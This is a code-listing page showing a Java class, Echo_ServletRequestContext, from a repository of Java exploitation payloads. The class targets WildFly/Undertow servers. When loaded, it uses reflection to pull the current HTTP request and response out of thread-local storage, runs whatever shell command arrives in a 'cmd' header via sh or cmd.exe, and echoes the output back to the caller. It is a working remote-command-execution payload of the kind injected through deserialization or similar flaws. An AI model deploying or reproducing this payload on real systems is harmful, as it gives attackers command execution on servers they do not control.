MCPcopy Create free account
hub / github.com/Firebasky/Java / Echo_ServletRequestContext

Class Echo_ServletRequestContext

java回显/WildFly/Echo_ServletRequestContext.java:16–68  ·  view source on GitHub ↗

WildFly 回显

Source from the content-addressed store, hash-verified

14 * WildFly 回显
15 */
16public class Echo_ServletRequestContext {
17 static {
18 try {
19 getResponse();
20 } catch (Exception e) {
21 e.printStackTrace();
22 }
23 }
24 public static void getResponse() throws Exception {
25 Thread thread = Thread.currentThread();
26 java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
27 threadLocals.setAccessible(true);
28 Object threadLocalMap = threadLocals.get(thread);
29
30 Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
31 java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
32 tableField.setAccessible(true);
33 Object[] objects = (Object[]) tableField.get(threadLocalMap);
34
35 Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
36 java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
37 entryValueField.setAccessible(true);
38
39 for (Object object : objects) {
40 if (object != null) {
41 Object valueObject = entryValueField.get(object);
42 if (valueObject != null) {
43 if (valueObject.getClass().getName().equals("io.undertow.servlet.handlers.ServletRequestContext")) {
44 //response
45 Method getServletResponse = valueObject.getClass().getDeclaredMethod("getServletResponse");
46 getServletResponse.setAccessible(true);
47 Object response = getServletResponse.invoke(valueObject);
48 //request
49 Method getServletRequest = valueObject.getClass().getDeclaredMethod("getServletRequest");
50 getServletRequest.setAccessible(true);
51 Object request = getServletRequest.invoke(valueObject);
52 //echo
53 java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
54 Method getHeader = request.getClass().getMethod("getHeader",String.class);
55 String cmd1 = (String) getHeader.invoke(request, "cmd");
56 String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
57 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
58 java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
59 String output = s.hasNext() ? s.next() : "";
60 writer.write("by Firebasky:");
61 writer.write("\n"+output);
62 writer.close();
63 }
64 }
65 }
66 }
67 }
68}

Callers

nothing calls this directly

Calls 1

getResponseMethod · 0.95

Tested by

no test coverage detected